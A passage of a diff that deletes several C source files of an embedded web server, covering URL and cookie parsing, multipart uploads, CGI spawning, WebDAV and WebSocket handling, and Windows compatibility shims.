for (; i < pattern_len; i++, j++) {
if (pattern[i] == '?' && str[j] != '\0') {
continue;
} else if (pattern[i] == '$') {
return str[j] == '\0' ? j : -1;
} else if (pattern[i] == '*') {
i++;
if (pattern[i] == '*') {
i++;
len = (int) strlen(str + j);
} else {
len = (int) strcspn(str + j, "/");
}
if (i == pattern_len) {
return j + len;
}
do {
res = match_prefix(pattern + i, pattern_len - i, str + j + len);
} while (res == -1 && len-- > 0);
return res == -1 ? -1 : j + res + len;
} else if (lowercase(&pattern[i]) != lowercase(&str[j])) {
return -1;
}
}
return j;
}
// Protect against directory disclosure attack by removing '..',
// excessive '/' and '\' characters
static void remove_double_dots_and_double_slashes(char *s) {
char *p = s;
while (*s != '\0') {
*p++ = *s++;
if (s[-1] == '/' || s[-1] == '\\') {
// Skip all following slashes, backslashes and double-dots
while (s[0] != '\0') {
if (s[0] == '/' || s[0] == '\\') {
s++;
} else if (s[0] == '.' && s[1] == '.') {
s += 2;
} else {
break;
}
}
}
}
*p = '\0';
}
void mg_url_encode(const char *src, char *dst, size_t dst_len) {
static const char *dont_escape = "._-$,;~()";
static const char *hex = "0123456789abcdef";
const char *end = dst + dst_len - 1;
for (; *src != '\0' && dst < end; src++, dst++) {
if (isalnum(*(const unsigned char *) src) ||
strchr(dont_escape, * (const unsigned char *) src) != NULL) {
*dst = *src;
} else if (dst + 2 < end) {
dst[0] = '%';
dst[1] = hex[(* (const unsigned char *) src) >> 4];
dst[2] = hex[(* (const unsigned char *) src) & 0xf];
dst += 2;
}
}
*dst = '\0';
}
int mg_url_decode(const char *src, int src_len, char *dst,
int dst_len, int is_form_url_encoded) {
int i, j, a, b;
#define HEXTOI(x) (isdigit(x) ? x - '0' : x - 'W')
for (i = j = 0; i < src_len && j < dst_len - 1; i++, j++) {
if (src[i] == '%' && i < src_len - 2 &&
isxdigit(* (const unsigned char *) (src + i + 1)) &&
isxdigit(* (const unsigned char *) (src + i + 2))) {
a = tolower(* (const unsigned char *) (src + i + 1));
b = tolower(* (const unsigned char *) (src + i + 2));
dst[j] = (char) ((HEXTOI(a) << 4) | HEXTOI(b));
i += 2;
} else if (is_form_url_encoded && src[i] == '+') {
dst[j] = ' ';
} else {
dst[j] = src[i];
}
}
dst[j] = '\0'; // Null-terminate the destination
return i >= src_len ? j : -1;
}
// Check whether full request is buffered. Return:
// -1 if request is malformed
// 0 if request is not yet fully buffered
// >0 actual request length, including last \r\n\r\n
static int get_request_len(const char *buf, int buf_len) {
int i;
for (i = 0; i < buf_len; i++) {
// Control characters are not allowed but >=128 is.
// Abort scan as soon as one malformed character is found;
// don't let subsequent \r\n\r\n win us over anyhow
if (!isprint(* (const unsigned char *) &buf[i]) && buf[i] != '\r' &&
buf[i] != '\n' && * (const unsigned char *) &buf[i] < 128) {
return -1;
} else if (buf[i] == '\n' && i + 1 < buf_len && buf[i + 1] == '\n') {
return i + 2;
} else if (buf[i] == '\n' && i + 2 < buf_len && buf[i + 1] == '\r' &&
buf[i + 2] == '\n') {
return i + 3;
}
}
return 0;
}
int mg_get_cookie(const char *cookie_header, const char *var_name,
char *dst, size_t dst_size) {
const char *s, *p, *end;
int name_len, len = -1;
if (dst == NULL || dst_size == 0) {
len = -2;
} else if (var_name == NULL || (s = cookie_header) == NULL) {
len = -1;
dst[0] = '\0';
} else {
name_len = (int) strlen(var_name);
end = s + strlen(s);
dst[0] = '\0';
for (; (s = mg_strcasestr(s, var_name)) != NULL; s += name_len) {
if (s[name_len] == '=') {
s += name_len + 1;
if ((p = strchr(s, ' ')) == NULL)
p = end;
if (p[-1] == ';')
p--;
if (*s == '"' && p[-1] == '"' && p > s + 1) {
s++;
p--;
}
if ((size_t) (p - s) < dst_size) {
len = p - s;
mg_strlcpy(dst, s, (size_t) len + 1);
} else {
len = -3;
}
break;
}
}
}
return len;
}
int mg_get_var(const char *data, size_t data_len, const char *name,
char *dst, size_t dst_len) {
const char *p, *e, *s;
size_t name_len;
int len;
if (dst == NULL || dst_len == 0) {
len = -2;
} else if (data == NULL || name == NULL || data_len == 0) {
len = -1;
dst[0] = '\0';
} else {
name_len = strlen(name);
e = data + data_len;
len = -1;
dst[0] = '\0';
// data is "var1=val1&var2=val2...". Find variable first
for (p = data; p + name_len < e; p++) {
if ((p == data || p[-1] == '&') && p[name_len] == '=' &&
!mg_strncasecmp(name, p, name_len)) {
// Point p to variable value
p += name_len + 1;
// Point s to the end of the value
s = (const char *) memchr(p, '&', (size_t)(e - p));
if (s == NULL) {
s = e;
}
assert(s >= p);
// Decode variable into destination buffer
len = mg_url_decode(p, (size_t)(s - p), dst, dst_len, 1);
// Redirect error code from -1 to -2 (destination buffer too small).
if (len == -1) {
len = -2;
}
break;
}
}
}
return len;
}
-105
View File
@@ -1,105 +0,0 @@
#include "internal.h"
#if !defined(_WIN32)
static int mg_stat(const char *path, struct file *filep) {
struct stat st;
filep->modification_time = (time_t) 0;
if (stat(path, &st) == 0) {
filep->size = st.st_size;
filep->modification_time = st.st_mtime;
filep->is_directory = S_ISDIR(st.st_mode);
// See https://github.com/cesanta/mongoose/issues/109
// Some filesystems report modification time as 0. Artificially
// bump it up to mark mg_stat() success.
if (filep->modification_time == (time_t) 0) {
filep->modification_time = (time_t) 1;
}
}
return filep->modification_time != (time_t) 0;
}
static void set_close_on_exec(int fd) {
fcntl(fd, F_SETFD, FD_CLOEXEC);
}
int mg_start_thread(mg_thread_func_t func, void *param) {
pthread_t thread_id;
pthread_attr_t attr;
int result;
(void) pthread_attr_init(&attr);
(void) pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED);
#if USE_STACK_SIZE > 1
// Compile-time option to control stack size, e.g. -DUSE_STACK_SIZE=16384
(void) pthread_attr_setstacksize(&attr, USE_STACK_SIZE);
#endif
result = pthread_create(&thread_id, &attr, func, param);
pthread_attr_destroy(&attr);
return result;
}
#ifndef NO_CGI
static pid_t spawn_process(struct mg_connection *conn, const char *prog,
char *envblk, char *envp[], int fdin,
int fdout, const char *dir) {
pid_t pid;
const char *interp;
(void) envblk;
if ((pid = fork()) == -1) {
// Parent
send_http_error(conn, 500, http_500_error, "fork(): %s", strerror(ERRNO));
} else if (pid == 0) {
// Child
if (chdir(dir) != 0) {
cry(conn, "%s: chdir(%s): %s", __func__, dir, strerror(ERRNO));
} else if (dup2(fdin, 0) == -1) {
cry(conn, "%s: dup2(%d, 0): %s", __func__, fdin, strerror(ERRNO));
} else if (dup2(fdout, 1) == -1) {
cry(conn, "%s: dup2(%d, 1): %s", __func__, fdout, strerror(ERRNO));
} else {
// Not redirecting stderr to stdout, to avoid output being littered
// with the error messages.
(void) close(fdin);
(void) close(fdout);
// After exec, all signal handlers are restored to their default values,
// with one exception of SIGCHLD. According to POSIX.1-2001 and Linux's
// implementation, SIGCHLD's handler will leave unchanged after exec
// if it was set to be ignored. Restore it to default action.
signal(SIGCHLD, SIG_DFL);
interp = conn->ctx->config[CGI_INTERPRETER];
if (interp == NULL) {
(void) execle(prog, prog, NULL, envp);
cry(conn, "%s: execle(%s): %s", __func__, prog, strerror(ERRNO));
} else {
(void) execle(interp, interp, prog, NULL, envp);
cry(conn, "%s: execle(%s %s): %s", __func__, interp, prog,
strerror(ERRNO));
}
}
exit(EXIT_FAILURE);
}
return pid;
}
#endif // !NO_CGI
static int set_non_blocking_mode(SOCKET sock) {
int flags;
flags = fcntl(sock, F_GETFL, 0);
(void) fcntl(sock, F_SETFL, flags | O_NONBLOCK);
return 0;
}
#endif // _WIN32
-140
View File
@@ -1,140 +0,0 @@
#include "internal.h"
FILE *mg_upload(struct mg_connection *conn, const char *destination_dir,
char *path, int path_len) {
const char *content_type_header, *boundary_start;
char *buf, fname[1024], boundary[100], *s, *p;
int bl, n, i, j, headers_len, boundary_len, eof, buf_len, to_read, len = 0;
FILE *fp;
// Request looks like this:
//
// POST /upload HTTP/1.1
// Host: 127.0.0.1:8080
// Content-Length: 244894
// Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryRVr
//
// ------WebKitFormBoundaryRVr
// Content-Disposition: form-data; name="file"; filename="accum.png"
// Content-Type: image/png
//
// <89>PNG
// <PNG DATA>
// ------WebKitFormBoundaryRVr
// Extract boundary string from the Content-Type header
if ((content_type_header = mg_get_header(conn, "Content-Type")) == NULL ||
(boundary_start = mg_strcasestr(content_type_header,
"boundary=")) == NULL ||
(sscanf(boundary_start, "boundary=\"%99[^\"]\"", boundary) == 0 &&
sscanf(boundary_start, "boundary=%99s", boundary) == 0) ||
boundary[0] == '\0') {
return NULL;
}
boundary_len = strlen(boundary);
bl = boundary_len + 4; // \r\n--<boundary>
// buf
// conn->buf |<--------- buf_len ------>|
// |=================|==========|===============|
// |<--request_len-->|<--len--->| |
// |<-----------data_len------->| conn->buf + conn->buf_size
buf = conn->buf + conn->request_len;
buf_len = conn->buf_size - conn->request_len;
len = conn->data_len - conn->request_len;
for (;;) {
// Pull in headers
assert(len >= 0 && len <= buf_len);
to_read = buf_len - len;
if (to_read > left_to_read(conn)) {
to_read = (int) left_to_read(conn);
}
while (len < buf_len &&
(n = pull(NULL, conn, buf + len, to_read)) > 0) {
len += n;
}
if ((headers_len = get_request_len(buf, len)) <= 0) {
break;
}
// Fetch file name.
fname[0] = '\0';
for (i = j = 0; i < headers_len; i++) {
if (buf[i] == '\r' && buf[i + 1] == '\n') {
buf[i] = buf[i + 1] = '\0';
// TODO(lsm): don't expect filename to be the 3rd field,
// parse the header properly instead.
sscanf(&buf[j], "Content-Disposition: %*s %*s filename=\"%1023[^\"]",
fname);
j = i + 2;
}
}
// Give up if the headers are not what we expect
if (fname[0] == '\0') {
break;
}
// Move data to the beginning of the buffer
assert(len >= headers_len);
memmove(buf, &buf[headers_len], len - headers_len);
len -= headers_len;
conn->data_len = conn->request_len + len;
// We open the file with exclusive lock held. This guarantee us
// there is no other thread can save into the same file simultaneously.
fp = NULL;
// Construct destination file name. Do not allow paths to have slashes.
s = fname;
if ((p = strrchr(fname, '/')) != NULL && p > s) s = p;
if ((p = strrchr(fname, '\\')) != NULL && p > s) s = p;
// Open file in binary mode. TODO: set an exclusive lock.
snprintf(path, path_len, "%s/%s", destination_dir, s);
if ((fp = fopen(path, "wb")) == NULL) {
break;
}
// Read POST data, write into file until boundary is found.
eof = n = 0;
do {
len += n;
for (i = 0; i < len - bl; i++) {
if (!memcmp(&buf[i], "\r\n--", 4) &&
!memcmp(&buf[i + 4], boundary, boundary_len)) {
// Found boundary, that's the end of file data.
fwrite(buf, 1, i, fp);
eof = 1;
memmove(buf, &buf[i + bl], len - (i + bl));
len -= i + bl;
break;
}
}
if (!eof && len > bl) {
fwrite(buf, 1, len - bl, fp);
memmove(buf, &buf[len - bl], bl);
len = bl;
}
to_read = buf_len - len;
if (to_read > left_to_read(conn)) {
to_read = (int) left_to_read(conn);
}
} while (!eof && (n = pull(NULL, conn, buf + len, to_read)) > 0);
conn->data_len = conn->request_len + len;
if (eof) {
rewind(fp);
return fp;
} else {
fclose(fp);
}
}
return NULL;
}
-30
View File
@@ -1,30 +0,0 @@
#include "internal.h"
// Return fake connection structure. Used for logging, if connection
// is not applicable at the moment of logging.
static struct mg_connection *fc(struct mg_context *ctx) {
static struct mg_connection fake_connection;
fake_connection.ctx = ctx;
// See https://github.com/cesanta/mongoose/issues/236
fake_connection.event.user_data = ctx->user_data;
return &fake_connection;
}
static void sockaddr_to_string(char *buf, size_t len,
const union usa *usa) {
buf[0] = '\0';
#if defined(USE_IPV6)
inet_ntop(usa->sa.sa_family, usa->sa.sa_family == AF_INET ?
(void *) &usa->sin.sin_addr :
(void *) &usa->sin6.sin6_addr, buf, len);
#elif defined(_WIN32)
// Only Windoze Vista (and newer) have inet_ntop()
strncpy(buf, inet_ntoa(usa->sin.sin_addr), len);
#else
inet_ntop(usa->sa.sa_family, (void *) &usa->sin.sin_addr, buf, len);
#endif
}
static void gmt_time_string(char *buf, size_t buf_len, time_t *t) {
strftime(buf, buf_len, "%a, %d %b %Y %H:%M:%S GMT", gmtime(t));
}
-61
View File
@@ -1,61 +0,0 @@
#include "internal.h"
// Writes PROPFIND properties for a collection element
static void print_props(struct mg_connection *conn, const char* uri,
struct file *filep) {
char mtime[64];
gmt_time_string(mtime, sizeof(mtime), &filep->modification_time);
conn->num_bytes_sent += mg_printf(conn,
"<d:response>"
"<d:href>%s</d:href>"
"<d:propstat>"
"<d:prop>"
"<d:resourcetype>%s</d:resourcetype>"
"<d:getcontentlength>%" INT64_FMT "</d:getcontentlength>"
"<d:getlastmodified>%s</d:getlastmodified>"
"</d:prop>"
"<d:status>HTTP/1.1 200 OK</d:status>"
"</d:propstat>"
"</d:response>\n",
uri,
filep->is_directory ? "<d:collection/>" : "",
filep->size,
mtime);
}
static void print_dav_dir_entry(struct de *de, void *data) {
char href[PATH_MAX];
char href_encoded[PATH_MAX];
struct mg_connection *conn = (struct mg_connection *) data;
mg_snprintf(href, sizeof(href), "%s%s",
conn->request_info.uri, de->file_name);
mg_url_encode(href, href_encoded, PATH_MAX-1);
print_props(conn, href_encoded, &de->file);
}
static void handle_propfind(struct mg_connection *conn, const char *path,
struct file *filep) {
const char *depth = mg_get_header(conn, "Depth");
conn->must_close = 1;
conn->status_code = 207;
mg_printf(conn, "HTTP/1.1 207 Multi-Status\r\n"
"Connection: close\r\n"
"Content-Type: text/xml; charset=utf-8\r\n\r\n");
conn->num_bytes_sent += mg_printf(conn,
"<?xml version=\"1.0\" encoding=\"utf-8\"?>"
"<d:multistatus xmlns:d='DAV:'>\n");
// Print properties for the requested resource itself
print_props(conn, conn->request_info.uri, filep);
// If it is a directory, print directory entries too if Depth is not 0
if (filep->is_directory &&
!mg_strcasecmp(conn->ctx->config[ENABLE_DIRECTORY_LISTING], "yes") &&
(depth == NULL || strcmp(depth, "0") != 0)) {
scan_directory(conn, path, conn, &print_dav_dir_entry);
}
conn->num_bytes_sent += mg_printf(conn, "%s\n", "</d:multistatus>");
}
-309
View File
@@ -1,309 +0,0 @@
#include "internal.h"
#if defined(USE_WEBSOCKET)
// START OF SHA-1 code
// Copyright(c) By Steve Reid <steve@edmweb.com>
#define SHA1HANDSOFF
#if defined(__sun)
#include "solarisfixes.h"
#endif
union char64long16 { unsigned char c[64]; uint32_t l[16]; };
#define rol(value, bits) (((value) << (bits)) | ((value) >> (32 - (bits))))
static uint32_t blk0(union char64long16 *block, int i) {
// Forrest: SHA expect BIG_ENDIAN, swap if LITTLE_ENDIAN
if (!is_big_endian()) {
block->l[i] = (rol(block->l[i], 24) & 0xFF00FF00) |
(rol(block->l[i], 8) & 0x00FF00FF);
}
return block->l[i];
}
#define blk(i) (block->l[i&15] = rol(block->l[(i+13)&15]^block->l[(i+8)&15] \
^block->l[(i+2)&15]^block->l[i&15],1))
#define R0(v,w,x,y,z,i) z+=((w&(x^y))^y)+blk0(block, i)+0x5A827999+rol(v,5);w=rol(w,30);
#define R1(v,w,x,y,z,i) z+=((w&(x^y))^y)+blk(i)+0x5A827999+rol(v,5);w=rol(w,30);
#define R2(v,w,x,y,z,i) z+=(w^x^y)+blk(i)+0x6ED9EBA1+rol(v,5);w=rol(w,30);
#define R3(v,w,x,y,z,i) z+=(((w|x)&y)|(w&x))+blk(i)+0x8F1BBCDC+rol(v,5);w=rol(w,30);
#define R4(v,w,x,y,z,i) z+=(w^x^y)+blk(i)+0xCA62C1D6+rol(v,5);w=rol(w,30);
typedef struct {
uint32_t state[5];
uint32_t count[2];
unsigned char buffer[64];
} SHA1_CTX;
static void SHA1Transform(uint32_t state[5], const unsigned char buffer[64]) {
uint32_t a, b, c, d, e;
union char64long16 block[1];
memcpy(block, buffer, 64);
a = state[0];
b = state[1];
c = state[2];
d = state[3];
e = state[4];
R0(a,b,c,d,e, 0); R0(e,a,b,c,d, 1); R0(d,e,a,b,c, 2); R0(c,d,e,a,b, 3);
R0(b,c,d,e,a, 4); R0(a,b,c,d,e, 5); R0(e,a,b,c,d, 6); R0(d,e,a,b,c, 7);
R0(c,d,e,a,b, 8); R0(b,c,d,e,a, 9); R0(a,b,c,d,e,10); R0(e,a,b,c,d,11);
R0(d,e,a,b,c,12); R0(c,d,e,a,b,13); R0(b,c,d,e,a,14); R0(a,b,c,d,e,15);
R1(e,a,b,c,d,16); R1(d,e,a,b,c,17); R1(c,d,e,a,b,18); R1(b,c,d,e,a,19);
R2(a,b,c,d,e,20); R2(e,a,b,c,d,21); R2(d,e,a,b,c,22); R2(c,d,e,a,b,23);
R2(b,c,d,e,a,24); R2(a,b,c,d,e,25); R2(e,a,b,c,d,26); R2(d,e,a,b,c,27);
R2(c,d,e,a,b,28); R2(b,c,d,e,a,29); R2(a,b,c,d,e,30); R2(e,a,b,c,d,31);
R2(d,e,a,b,c,32); R2(c,d,e,a,b,33); R2(b,c,d,e,a,34); R2(a,b,c,d,e,35);
R2(e,a,b,c,d,36); R2(d,e,a,b,c,37); R2(c,d,e,a,b,38); R2(b,c,d,e,a,39);
R3(a,b,c,d,e,40); R3(e,a,b,c,d,41); R3(d,e,a,b,c,42); R3(c,d,e,a,b,43);
R3(b,c,d,e,a,44); R3(a,b,c,d,e,45); R3(e,a,b,c,d,46); R3(d,e,a,b,c,47);
R3(c,d,e,a,b,48); R3(b,c,d,e,a,49); R3(a,b,c,d,e,50); R3(e,a,b,c,d,51);
R3(d,e,a,b,c,52); R3(c,d,e,a,b,53); R3(b,c,d,e,a,54); R3(a,b,c,d,e,55);
R3(e,a,b,c,d,56); R3(d,e,a,b,c,57); R3(c,d,e,a,b,58); R3(b,c,d,e,a,59);
R4(a,b,c,d,e,60); R4(e,a,b,c,d,61); R4(d,e,a,b,c,62); R4(c,d,e,a,b,63);
R4(b,c,d,e,a,64); R4(a,b,c,d,e,65); R4(e,a,b,c,d,66); R4(d,e,a,b,c,67);
R4(c,d,e,a,b,68); R4(b,c,d,e,a,69); R4(a,b,c,d,e,70); R4(e,a,b,c,d,71);
R4(d,e,a,b,c,72); R4(c,d,e,a,b,73); R4(b,c,d,e,a,74); R4(a,b,c,d,e,75);
R4(e,a,b,c,d,76); R4(d,e,a,b,c,77); R4(c,d,e,a,b,78); R4(b,c,d,e,a,79);
state[0] += a;
state[1] += b;
state[2] += c;
state[3] += d;
state[4] += e;
a = b = c = d = e = 0;
memset(block, '\0', sizeof(block));
}
static void SHA1Init(SHA1_CTX* context) {
context->state[0] = 0x67452301;
context->state[1] = 0xEFCDAB89;
context->state[2] = 0x98BADCFE;
context->state[3] = 0x10325476;
context->state[4] = 0xC3D2E1F0;
context->count[0] = context->count[1] = 0;
}
static void SHA1Update(SHA1_CTX* context, const unsigned char* data,
uint32_t len) {
uint32_t i, j;
j = context->count[0];
if ((context->count[0] += len << 3) < j)
context->count[1]++;
context->count[1] += (len>>29);
j = (j >> 3) & 63;
if ((j + len) > 63) {
memcpy(&context->buffer[j], data, (i = 64-j));
SHA1Transform(context->state, context->buffer);
for ( ; i + 63 < len; i += 64) {
SHA1Transform(context->state, &data[i]);
}
j = 0;
}
else i = 0;
memcpy(&context->buffer[j], &data[i], len - i);
}
static void SHA1Final(unsigned char digest[20], SHA1_CTX* context) {
unsigned i;
unsigned char finalcount[8], c;
for (i = 0; i < 8; i++) {
finalcount[i] = (unsigned char)((context->count[(i >= 4 ? 0 : 1)]
>> ((3-(i & 3)) * 8) ) & 255);
}
c = 0200;
SHA1Update(context, &c, 1);
while ((context->count[0] & 504) != 448) {
c = 0000;
SHA1Update(context, &c, 1);
}
SHA1Update(context, finalcount, 8);
for (i = 0; i < 20; i++) {
digest[i] = (unsigned char)
((context->state[i>>2] >> ((3-(i & 3)) * 8) ) & 255);
}
memset(context, '\0', sizeof(*context));
memset(&finalcount, '\0', sizeof(finalcount));
}
// END OF SHA1 CODE
static void base64_encode(const unsigned char *src, int src_len, char *dst) {
static const char *b64 =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
int i, j, a, b, c;
for (i = j = 0; i < src_len; i += 3) {
a = src[i];
b = i + 1 >= src_len ? 0 : src[i + 1];
c = i + 2 >= src_len ? 0 : src[i + 2];
dst[j++] = b64[a >> 2];
dst[j++] = b64[((a & 3) << 4) | (b >> 4)];
if (i + 1 < src_len) {
dst[j++] = b64[(b & 15) << 2 | (c >> 6)];
}
if (i + 2 < src_len) {
dst[j++] = b64[c & 63];
}
}
while (j % 4 != 0) {
dst[j++] = '=';
}
dst[j++] = '\0';
}
void mg_websocket_handshake(struct mg_connection *conn) {
static const char *magic = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11";
char buf[100], sha[20], b64_sha[sizeof(sha) * 2];
SHA1_CTX sha_ctx;
mg_snprintf(buf, sizeof(buf), "%s%s",
mg_get_header(conn, "Sec-WebSocket-Key"), magic);
SHA1Init(&sha_ctx);
SHA1Update(&sha_ctx, (unsigned char *) buf, strlen(buf));
SHA1Final((unsigned char *) sha, &sha_ctx);
base64_encode((unsigned char *) sha, sizeof(sha), b64_sha);
mg_printf(conn, "%s%s%s",
"HTTP/1.1 101 Switching Protocols\r\n"
"Upgrade: websocket\r\n"
"Connection: Upgrade\r\n"
"Sec-WebSocket-Accept: ", b64_sha, "\r\n\r\n");
}
int mg_websocket_read(struct mg_connection *conn, int *bits, char **data) {
// Pointer to the beginning of the portion of the incoming websocket message
// queue. The original websocket upgrade request is never removed,
// so the queue begins after it.
unsigned char *buf = (unsigned char *) conn->buf + conn->request_len;
int n, stop = 0;
size_t i, len, mask_len, data_len, header_len, body_len;
char mask[4];
assert(conn->content_len == 0);
// Loop continuously, reading messages from the socket, invoking the callback,
// and waiting repeatedly until an error occurs.
while (!stop) {
header_len = 0;
// body_len is the length of the entire queue in bytes
// len is the length of the current message
// data_len is the length of the current message's data payload
// header_len is the length of the current message's header
if ((body_len = conn->data_len - conn->request_len) >= 2) {
len = buf[1] & 127;
mask_len = buf[1] & 128 ? 4 : 0;
if (len < 126 && body_len >= mask_len) {
data_len = len;
header_len = 2 + mask_len;
} else if (len == 126 && body_len >= 4 + mask_len) {
header_len = 4 + mask_len;
data_len = ((((int) buf[2]) << 8) + buf[3]);
} else if (body_len >= 10 + mask_len) {
header_len = 10 + mask_len;
data_len = (((uint64_t) htonl(* (uint32_t *) &buf[2])) << 32) +
htonl(* (uint32_t *) &buf[6]);
}
}
// Data layout is as follows:
// conn->buf buf
// v v frame1 | frame2
// |---------------------|----------------|--------------|-------
// | |<--header_len-->|<--data_len-->|
// |<-conn->request_len->|<-----body_len----------->|
// |<-------------------conn->data_len------------->|
if (header_len > 0) {
// Allocate space to hold websocket payload
if ((*data = malloc(data_len)) == NULL) {
// Allocation failed, exit the loop and then close the connection
// TODO: notify user about the failure
data_len = 0;
break;
}
// Save mask and bits, otherwise it may be clobbered by memmove below
*bits = buf[0];
memcpy(mask, buf + header_len - mask_len, mask_len);
// Read frame payload into the allocated buffer.
assert(body_len >= header_len);
if (data_len + header_len > body_len) {
len = body_len - header_len;
memcpy(*data, buf + header_len, len);
// TODO: handle pull error
pull_all(NULL, conn, *data + len, data_len - len);
conn->data_len = conn->request_len;
} else {
len = data_len + header_len;
memcpy(*data, buf + header_len, data_len);
memmove(buf, buf + len, body_len - len);
conn->data_len -= len;
}
// Apply mask if necessary
if (mask_len > 0) {
for (i = 0; i < data_len; i++) {
(*data)[i] ^= mask[i % 4];
}
}
return data_len;
} else {
// Buffering websocket request
if ((n = pull(NULL, conn, conn->buf + conn->data_len,
conn->buf_size - conn->data_len)) <= 0) {
break;
}
conn->data_len += n;
}
}
return 0;
}
int mg_websocket_write(struct mg_connection* conn, int opcode,
const char *data, size_t data_len) {
unsigned char *copy;
size_t copy_len = 0;
int retval = -1;
if ((copy = (unsigned char *) malloc(data_len + 10)) == NULL) {
return -1;
}
copy[0] = 0x80 + (opcode & 0x0f);
// Frame format: http://tools.ietf.org/html/rfc6455#section-5.2
if (data_len < 126) {
// Inline 7-bit length field
copy[1] = data_len;
memcpy(copy + 2, data, data_len);
copy_len = 2 + data_len;
} else if (data_len <= 0xFFFF) {
// 16-bit length field
copy[1] = 126;
* (uint16_t *) (copy + 2) = htons(data_len);
memcpy(copy + 4, data, data_len);
copy_len = 4 + data_len;
} else {
// 64-bit length field
copy[1] = 127;
* (uint32_t *) (copy + 2) = htonl((uint64_t) data_len >> 32);
* (uint32_t *) (copy + 6) = htonl(data_len & 0xffffffff);
memcpy(copy + 10, data, data_len);
copy_len = 10 + data_len;
}
// Not thread safe
if (copy_len > 0) {
retval = mg_write(conn, copy, copy_len);
}
free(copy);
return retval;
}
#endif // !USE_WEBSOCKET
-373
View File
@@ -1,373 +0,0 @@
#include "internal.h"
#if defined(_WIN32)
static pthread_t pthread_self(void) {
return GetCurrentThreadId();
}
static int pthread_mutex_init(pthread_mutex_t *mutex, void *unused) {
(void) unused;
*mutex = CreateMutex(NULL, FALSE, NULL);
return *mutex == NULL ? -1 : 0;
}
static int pthread_mutex_destroy(pthread_mutex_t *mutex) {
return CloseHandle(*mutex) == 0 ? -1 : 0;
}
static int pthread_mutex_lock(pthread_mutex_t *mutex) {
return WaitForSingleObject(*mutex, INFINITE) == WAIT_OBJECT_0? 0 : -1;
}
static int pthread_mutex_unlock(pthread_mutex_t *mutex) {
return ReleaseMutex(*mutex) == 0 ? -1 : 0;
}
// For Windows, change all slashes to backslashes in path names.
static void change_slashes_to_backslashes(char *path) {
int i;
for (i = 0; path[i] != '\0'; i++) {
if (path[i] == '/')
path[i] = '\\';
// i > 0 check is to preserve UNC paths, like \\server\file.txt
if (path[i] == '\\' && i > 0)
while (path[i + 1] == '\\' || path[i + 1] == '/')
(void) memmove(path + i + 1,
path + i + 2, strlen(path + i + 1));
}
}
// Encode 'path' which is assumed UTF-8 string, into UNICODE string.
// wbuf and wbuf_len is a target buffer and its length.
static void to_unicode(const char *path, wchar_t *wbuf, size_t wbuf_len) {
char buf[PATH_MAX * 2], buf2[PATH_MAX * 2];
mg_strlcpy(buf, path, sizeof(buf));
change_slashes_to_backslashes(buf);
// Convert to Unicode and back. If doubly-converted string does not
// match the original, something is fishy, reject.
memset(wbuf, 0, wbuf_len * sizeof(wchar_t));
MultiByteToWideChar(CP_UTF8, 0, buf, -1, wbuf, (int) wbuf_len);
WideCharToMultiByte(CP_UTF8, 0, wbuf, (int) wbuf_len, buf2, sizeof(buf2),
NULL, NULL);
if (strcmp(buf, buf2) != 0) {
wbuf[0] = L'\0';
}
}
#if defined(_WIN32_WCE)
static time_t time(time_t *ptime) {
time_t t;
SYSTEMTIME st;
FILETIME ft;
GetSystemTime(&st);
SystemTimeToFileTime(&st, &ft);
t = SYS2UNIX_TIME(ft.dwLowDateTime, ft.dwHighDateTime);
if (ptime != NULL) {
*ptime = t;
}
return t;
}
static struct tm *localtime(const time_t *ptime, struct tm *ptm) {
int64_t t = ((int64_t) *ptime) * RATE_DIFF + EPOCH_DIFF;
FILETIME ft, lft;
SYSTEMTIME st;
TIME_ZONE_INFORMATION tzinfo;
if (ptm == NULL) {
return NULL;
}
* (int64_t *) &ft = t;
FileTimeToLocalFileTime(&ft, &lft);
FileTimeToSystemTime(&lft, &st);
ptm->tm_year = st.wYear - 1900;
ptm->tm_mon = st.wMonth - 1;
ptm->tm_wday = st.wDayOfWeek;
ptm->tm_mday = st.wDay;
ptm->tm_hour = st.wHour;
ptm->tm_min = st.wMinute;
ptm->tm_sec = st.wSecond;
ptm->tm_yday = 0; // hope nobody uses this
ptm->tm_isdst =
GetTimeZoneInformation(&tzinfo) == TIME_ZONE_ID_DAYLIGHT ? 1 : 0;
return ptm;
}
static struct tm *gmtime(const time_t *ptime, struct tm *ptm) {
// FIXME(lsm): fix this.
return localtime(ptime, ptm);
}
static size_t strftime(char *dst, size_t dst_size, const char *fmt,
const struct tm *tm) {
(void) snprintf(dst, dst_size, "implement strftime() for WinCE");
return 0;
}
#endif
// Windows happily opens files with some garbage at the end of file name.
// For example, fopen("a.cgi ", "r") on Windows successfully opens
// "a.cgi", despite one would expect an error back.
// This function returns non-0 if path ends with some garbage.
static int path_cannot_disclose_cgi(const char *path) {
static const char *allowed_last_characters = "_-";
int last = path[strlen(path) - 1];
return isalnum(last) || strchr(allowed_last_characters, last) != NULL;
}
static int mg_stat(const char *path, struct file *filep) {
wchar_t wbuf[PATH_MAX] = L"\\\\?\\";
WIN32_FILE_ATTRIBUTE_DATA info;
filep->modification_time = 0;
to_unicode(path, wbuf + 4, ARRAY_SIZE(wbuf) - 4);
if (GetFileAttributesExW(wbuf, GetFileExInfoStandard, &info) != 0) {
filep->size = MAKEUQUAD(info.nFileSizeLow, info.nFileSizeHigh);
filep->modification_time = SYS2UNIX_TIME(
info.ftLastWriteTime.dwLowDateTime,
info.ftLastWriteTime.dwHighDateTime);
filep->is_directory = info.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY;
// If file name is fishy, reset the file structure and return error.
// Note it is important to reset, not just return the error, cause
// functions like is_file_opened() check the struct.
if (!filep->is_directory && !path_cannot_disclose_cgi(path)) {
memset(filep, 0, sizeof(*filep));
}
}
return filep->modification_time != 0;
}
static int mg_remove(const char *path) {
wchar_t wbuf[PATH_MAX];
to_unicode(path, wbuf, ARRAY_SIZE(wbuf));
return DeleteFileW(wbuf) ? 0 : -1;
}
static int mg_mkdir(const char *path, int mode) {
char buf[PATH_MAX];
wchar_t wbuf[PATH_MAX];
(void) mode;
mg_strlcpy(buf, path, sizeof(buf));
change_slashes_to_backslashes(buf);
(void) MultiByteToWideChar(CP_UTF8, 0, buf, -1, wbuf, ARRAY_SIZE(wbuf));
return CreateDirectoryW(wbuf, NULL) ? 0 : -1;
}
// Implementation of POSIX opendir/closedir/readdir for Windows.
static DIR * opendir(const char *name) {
DIR *dir = NULL;
wchar_t wpath[PATH_MAX];
